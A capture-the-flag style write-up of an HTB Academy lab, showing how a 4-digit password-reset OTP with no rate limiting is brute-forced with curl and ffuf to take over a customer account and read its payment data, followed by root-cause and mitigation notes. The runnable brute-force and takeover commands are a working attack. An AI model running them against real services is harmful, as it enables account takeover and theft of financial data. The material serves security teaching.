Exploiting OTP Brute Forcing in Password Reset APIs
1. Introduction
In this exercise from the HTB Academy API Attacks module, we exploit a Broken Authentication vulnerability to gain unauthorized access to another customer account.
The target account is:
MasonJenkins@ymail.comOur objective is to:
- Reset the victim's password
- Log in as the victim
- Retrieve their payment options
- Extract the HTB flag
2. Understanding the Vulnerability
The application provides a password reset mechanism based on One-Time Passwords (OTPs).
The flow works as follows:
- Request an OTP to be sent to the user
- Submit the OTP along with a new password
- The API resets the password if the OTP is correct
Relevant endpoints:
POST /api/v1/authentication/customers/passwords/resets/email-otps
POST /api/v1/authentication/customers/passwords/resetsHowever, the API contains a critical flaw:
- OTP is only 4 digits
- No rate limiting
- No account lockout
- Unlimited attempts allowed
This makes the system vulnerable to OTP brute forcing, which falls under:
CWE-307
Improper Restriction of Excessive Authentication Attempts3. Step 1 - Generate the OTP
Before attempting to brute force the OTP, the server must generate one.
Endpoint:
POST /api/v1/authentication/customers/passwords/resets/email-otpsRequest:
curl -X POST \
http://TARGET/api/v1/authentication/customers/passwords/resets/email-otps \
-H "Content-Type: application/json" \
-d '{"Email":"MasonJenkins@ymail.com"}'Response:
{"SuccessStatus":true}This confirms the server has generated an OTP for the victim.
⚠️ Important: The OTP expires quickly, so brute forcing should begin immediately.
4. Step 2 - Inspect the Password Reset Endpoint
Next, we inspect the endpoint responsible for resetting the password.
Endpoint:
POST /api/v1/authentication/customers/passwords/resetsExample request:
curl -X POST \
http://TARGET/api/v1/authentication/customers/passwords/resets \
-H "Content-Type: application/json" \
-d '{"Email":"MasonJenkins@ymail.com","OTP":"0000","NewPassword":"NewP@ssw0rd1"}'Response:
{"SuccessStatus":false}This confirms the API validates OTP values.
5. Step 3 - Identifying the Attack Surface
The OTP format is:
0000 → 9999Total possible combinations:
10,000Because the API lacks rate limiting, we can brute force the OTP.
6. Step 4 - Brute Force the OTP
First generate a list of 4-digit values:
seq -w 0000 9999 > otp.txtThen perform the brute force attack using ffuf:
ffuf -u http://TARGET/api/v1/authentication/customers/passwords/resets \
-X POST \
-H "Content-Type: application/json" \
-d '{"Email":"MasonJenkins@ymail.com","OTP":"FUZZ","NewPassword":"NewP@ssw0rd1"}' \
-w otp.txt:FUZZ \
-mr '"SuccessStatus":true'Explanation:
ParameterDescriptionFUZZplaceholder replaced by OTP values-wwordlist-mrmatch successful responses
7. Step 5 - Discover the Valid OTP
Eventually, ffuf returns a successful match:
3316 [Status:200, Size:22]The correct OTP For me is:
33168. Step 6 - Reset the Victim's Password
Now we submit the correct OTP.
curl -X POST \
http://TARGET/api/v1/authentication/customers/passwords/resets \
-H "Content-Type: application/json" \
-d '{"Email":"MasonJenkins@ymail.com","OTP":"3316","NewPassword":"NewP@ssw0rd1"}'Response:
{"SuccessStatus":true}The victim's password has now been changed.
9. Step 7 - Login as the Victim
We authenticate using the new password.
Endpoint:
POST /api/v1/authentication/customers/sign-inRequest:
{
"Email":"MasonJenkins@ymail.com",
"Password":"NewP@ssw0rd1"
}The response contains a JWT token.
10. Step 8 - Retrieve Payment Information
Using the JWT token, we query the payment endpoint.
GET /api/v1/customers/payment-options/current-userRequest:
curl -X GET \
http://TARGET/api/v1/customers/payment-options/current-user \
-H "Authorization: Bearer <JWT>"Response:
{
"customerPaymentOptions":[
{
"type":"Credit Card",
"accountNumber":"HTB{FLAG}"
}
]
}The accountNumber field contains the flag.
11. Root Cause
The vulnerability arises due to:
- Low entropy OTP (4 digits)
- No brute-force protection
- Unlimited authentication attempts
This enables attackers to guess the OTP within seconds.
12. Mitigation
To prevent this attack:
Implement:
- Rate limiting on OTP attempts
- Account lockout after several failures
- Longer OTPs (6–8 digits)
- CAPTCHA or MFA
- OTP expiration with attempt limits
13. Conclusion
This exercise demonstrates how weak authentication logic in APIs can lead to full account compromise.
By exploiting the lack of rate limiting, we were able to:
- Brute force the OTP
- Reset the victim's password
- Authenticate as the victim
- Extract sensitive financial information
This is a clear example of Broken Authentication in APIs, as described in the OWASP API Top 10.